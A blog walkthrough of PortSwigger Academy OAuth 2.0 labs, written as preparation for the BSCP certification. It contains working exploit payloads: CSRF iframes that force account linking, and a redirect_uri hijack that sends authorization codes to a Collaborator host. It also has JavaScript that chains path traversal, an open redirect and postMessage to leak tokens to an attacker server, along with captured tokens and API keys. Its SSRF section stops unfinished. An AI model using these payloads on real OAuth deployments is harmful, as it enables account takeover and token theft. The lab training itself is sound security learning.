Road to BSCP - OAuth 2.0 authentication

Road to BSCP - OAuth 2.0 authentication

Walkthrough of Burp Suite Academy labs on OAuth 2.0 vulnerabilities

·

10 min read

Introduction to OAuth 2.0 Framework

OAuth is a commonly used authorization framework that enables websites and web applications to request limited access to a user's account on another application.

Crucially, OAuth allows the user to grant this access without exposing their login credentials to the requesting application.

This means users can fine-tune which data they want to share rather than having to hand over full control of their account to a third party.

Authorization Grant Flow

image.png

Implicit Grant Flow

image.png

Authentication bypass via OAuth implicit flow (Apprentice)

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password.

We initiate the OAuth flow by logging in the application with the Log-in with social media option, the flow starts with an authorization request to the OAuth server GET /auth?client_id=[...]

After retrieving the auth token upon completion of the implicit flow, the application will send the following request to authenticate the user:

POST /authenticate HTTP/1.1
Host: acbd1f3f1ff685acc0a103ad008100e4.web-security-academy.net
Cookie: session=onZRvBmGtMVH2SlVuU53PjAsqWnEzIQR
Content-Length: 103
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="100"
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://acbd1f3f1ff685acc0a103ad008100e4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://acbd1f3f1ff685acc0a103ad008100e4.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"email":"wiener@hotdog.com","username":"wiener","token":"CSmZPmRLqcTqssL59K1fsN9hcIoa-bruA-KTMzOZU6y"}

The client application does not check that the access token matches the other data in the request. Therefore, we just need to swap the email and username to our victim, and we will be logged-in to his account.

{"email":"carlos@carlos-montoya.net","username":"carlos","token":"CSmZPmRLqcTqssL59K1fsN9hcIoa-bruA-KTMzOZU6y"}

⚠️ The implicit grant flow, while simpler to implement, is generally a less secure option since it does not rely on backend-to-backend communications. This increases the likelihood of exposing sensitive access tokens to attackers.

Forced OAuth profile linking (Practitioner)

This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.

First, we log in to the application using the same lab credentials wiener:peter. We are presented with the option to attach a social profile to our account.

Upon giving our consent to share our account data, the following request is sent to finalize the flow:

GET /oauth-linking?code=XaSaKGii3bMOImn96DbM45xOoCqSxTcTRrcoeyJdTxu HTTP/1.1
Host: acad1f0c1ede7c14c0b9208e006e009e.web-security-academy.net
Cookie: session=VPRtr2T76Evhj9EU6JQln2Ti2iFOUVNi
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
(...)
Connection: close

The application does not have any anti-CSRF mechanism in place. This allows an attacker to forcefully link his social profile to any victim with a valid (logged-in) session

Upload the following POC to the exploit server:

<iframe src='https://acad1f0c1ede7c14c0b9208e006e009e.web-security-academy.net/oauth-linking?code=IMaoB4XmKRfZVKC0ZKKTOXH4jHbOWj3Nwn0MX1zmoJ-'></iframe>

Once the Victim opens our malicious link, our social profile will be linked to his account, allowing us to connect to the administrator account without knowing his credentials.

This vulnerability could have been prevented by using a unique and unguessable value to the authorization request. In OAuth flows, this parameter is usually named state and acts as an CSRF protection.

OAuth account hijacking via redirect_uri (Practitioner)

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.

The application fully trusts the user input passed as part of the redirect_url parameter. This parameter dictates which URL will the browser be instructed to redirect to after receiving the OAuth code (session token).

GET /auth?client_id=vopt8jebikhx8jw0hiktw&redirect_uri=https://ac381f8c1efa2866c0ab7f72004100cd.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-ac5c1f0a1ea728c9c08d7fff02fd0089.web-security-academy.net
Cookie: _session=tg0mUfiKwfIteoIsgNmIT; _session.legacy=tg0mUfiKwfIteoIsgNmIT
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac381f8c1efa2866c0ab7f72004100cd.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

This behavior allows an attacker to exfiltrate another person's token to a server under his control.

If the victim is logged-in, the application will automatically append his OAuth token/code when calling back to the URI forcefully set by the attacker in redirect_uri.

To instrument our attack, we upload the following snippet to the exploit server and lure the victim into sending an authorization request that will callback to our server:

<iframe src='https://oauth-ac5c1f0a1ea728c9c08d7fff02fd0089.web-security-academy.net/auth?client_id=vopt8jebikhx8jw0hiktw&redirect_uri=https://615877ii1o6sw1wtl9q87r8s3j99xy.burpcollaborator.net/&response_type=code&scope=openid%20profile%20email'>

We check our Collaborator logs and retrieve the OAuth code:

GET /?code=L9B5Ud8fYMPgj0Ek2xTa0WQQB665WKImE_tkh7V5CLI HTTP/1.1
Host: 615877ii1o6sw1wtl9q87r8s3j99xy.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Referer: https://exploit-acdf1fcc1ec528ffc09e7faf0152005c.web-security-academy.net/
(...)

The code can be used to authenticate as admin by performing another OAuth flow from our user peter and swapping the code at the end.

⚠️ Note that using state or nonce protection does not necessarily prevent these attacks because an attacker can generate new values from their own browser.

Instead:

  • Implement whitelist of genuine callback URLs when registering the client with the OAuth service
  • Send a redirect_uri parameter when exchanging the authorization code
  • The server can then validate the redirect_uri passed in the request to /auth against the one during code exchange

^ the second redirect_uri cannot be controlled by the attacker, as this happens backend-to-backend

Stealing OAuth access tokens via an open redirect (Practitioner)

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.

We start the lab by completing the OAuth login flow with our user. There are three requests to endpoints that we need to take note of:

  1. GET request to /auth endpoint of the OAuth provider backend. It takes a redirect_uri parameter that will define the callback endpoint (as explained in the diagram at the beginning of this post)
  2. GET /oauth-callback which will instruct the browser to attach the OAuth token sent in URI fragment in step 1. as Authorization Header, and issue a request to the /me endpoint.
  3. GET /me which sends back the user's information, if presented with a valid OAuth token as Bearer token

e.g:

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://ac9c1f091f969aafc03e043c006f009d.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Tue, 17 May 2022 06:02:30 GMT
Connection: close
Content-Length: 132

{"sub":"wiener","apikey":"dJf1Zk5Jkurv2oLlPSWjAh327EvmFtcV","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}

We also observe that we are able to tamper with the redirect_uri parameter in the call to /auth. The server will reject any URL that does not start with https://<LAB-ID>.web-security-academy.net/oauth-callback/; but it fails to account for directory traversal sequences (/../).

As such, the following request is accepted by the server:

https://oauth-<LAB-ID>.web-security-academy.net/auth?client_id=f898g0pzg73bsq328mmfh&redirect_uri=https://ac9c1f091f969aafc03e043c006f009d.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-1098955964&scope=openid%20profile%20email

This is one piece of the puzzle.

The second one is the open redirect vulnerability present on the /post/next?path=(...) endpoint, which will redirect the browser to an arbitrary page.

By combining the two, we can steal the victim's OAuth token:

<script>
    if (!document.location.hash) {
        // Retrieve OAuth access token
        window.location = 'https:///oauth-ac301f771f9d9a77c026042b026f00cb.web-security-academy.net/auth?client_id=f898g0pzg73bsq328mmfhredirect_uri=https:/ac9c1f091f969aafc03e043c006f009d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-ac751fb31f829a4bc0c20438019b00d7.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        // Access token send in URI parameter will be reflected in the server logs 
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

We deliver the exploit to the victim and check the exploit server's logs to retrieve the token

172.31.31.154 2022-05-17 06:37:21 +0000 "GET /exploit?access_token=********&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36"

Now in possession of the access_token we can call the /me endpoint and substitute the auth header Authorization: Bearer <access_token> to retrieve the API Key.

SSRF via OpenID dynamic client registration (Practitioner)

OpenID Connect Framework ELI5

OpenID Connect can be seen as an extension of the OAuth 2.0 protocol that is designed specifically to handle authentication use-cases. Originally OAuth was conceived to solve authorization use-cases; however, its usage quickly expanded to also include authentication.

OpenID is aiming to bring saner & stricter defaults to reduce the need for custom implementations, and therefore insecure implementations.

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.

To solve the lab, craft an SSRF attack to access 169.254.169.254/latest/meta-data/iam/securi.. and steal the secret access key for the OAuth provider's cloud environment.

NB: All Burp Academy OAuth labs are actually following the OpenID standards

In this challenge we are looking at way(s) in which mistakes in OpenID implementation can bring vulnerabilities to your application.

One such mistake is to freely allow anyone to self-register as a valid client application with the OAuth/OpenID provider. This is done through a specific endpoint that is exposed on the provider side.

To get a better idea on how it works, we try to fingerprint the provider's configuration file after logging-in with our user:

https://<OAUTH-LAB-SERVER>.web-security-academy.net/.well-known/openid-configuration

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Origin
Content-Type: application/json; charset=utf-8
Date: Fri, 13 May 2022 12:43:33 GMT
Connection: close
Content-Length: 2435

{
  "id_token_signing_alg_values_supported": [
    "HS256",
    "ES256",
    "EdDSA",
    "PS256",
    "RS256"
  ],
 (...)
  "introspection_endpoint": "https://oauth-ac101fed1f3259efc046635202f5004c.web-security-academy.net/token/introspection",
  "registration_endpoint": "https://oauth-ac101fed1f3259efc046635202f5004c.web-security-academy.net/reg",
  "authorization_endpoint": "https://oauth-ac101fed1f3259efc046635202f5004c.web-security-academy.net/auth",
  "jwks_uri": "https://oauth-ac101fed1f3259efc046635202f5004c.web-security-academy.net/jwks",
  "revocation_endpoint_auth_signing_alg_values_supported": [
    "HS256",
    "RS256",
    "PS256",
    "ES256",
    "EdDSA"
  ],
  "request_uri_parameter_supported": true
}

With this, we identify that the registration_endpoint is located at https://oauth-<LAB-ID>.web-security-academy.net/reg.

We know that a typical client registration request looks like this:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

Stealing OAuth access tokens via a proxy page (Expert)

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

We start the lab by going through the OAuth flow as usual. We can use the same directory traversal attack vector as in the previous challenge. However, this time we are unable to trigger a redirect directly to our exploit server.

We need to find another way to exfiltrate the OAuth code.

In the blog post section of the site, we notice that the application relies on web messaging to include comments as iframe(s) on each blog post.

See snippet below:

<script>
    window.addEventListener('message', function(e) {
        if (e.data.type === 'oncomment') {
            e.data.content['csrf'] = 'aQInlEv8ny5T2iPzXtifXrBAzb4twVgN';
            const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
            fetch("/post/comment",
                {
                    method: "POST",
                    body: body
                }
            ).then(r => window.location.reload());
        }
    }, false)
</script>

The event is sent when the /post/comment/comment-form endpoint is called, as shown in the following snippet:

<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>

The application will send an event message that contains the window.location.href property to its parent window (/post?postId=...). Moreover, the message can be sent from any origin as noted by the wildcard '*' function parameter (see developer.mozilla.org/en-US/docs/Web/API/Wi..)

With these two things in mind, we now have enough to construct an attack that will get us the victim's OAuth token

  1. Force the victim to start an OAuth flow by framing the vulnerable site
  2. Use the path traversal vulnerability to redirect the user to the /post/comment/comment-form page
  3. OAuth server sends the token as part of the callback URI to the location above (which will be stored in window.location.href
  4. Client-side Javascript will send a postMessage to the parent window, in this case our exploit server
  5. Capture the message and exfiltrate the data to retrieve the code
  6. Use the code to get the API key
<iframe src='https://oauth-acd71fa71efcd4e6c0d3d0ee026300ba.web-security-academy.net/auth?client_id=cccwhk1s8p9cztz2dd10b&redirect_uri=https://acea1f9a1e12d43dc0c3d0d6007e009c.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1675132370&scope=openid%20profile%20email'></iframe>

// Listen and capture incoming event message
// Use `fetch` to reveal its contents in our server's logs
<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
GET /me HTTP/1.1
Host: oauth-{instanceId}.web-security-academy.net
Authorization: Bearer 53LqAO132aEQzXt4G1tfWyOGauV4ok1VBnKFS3Tynxt <-- OAuth Token
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: */*
Origin: https://{instanceId}.web-security-academy.net
Referer: https://{intanceId}.web-security-academy.net/
Connection: close
HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://acea1f9a1e12d43dc0c3d0d6007e009c.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Wed, 11 May 2022 04:15:35 GMT
Connection: close
Content-Length: 152

{"sub":"administrator","apikey":"XmOppeRIq5aCIwVq701uk1OBI50HZ2vj","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}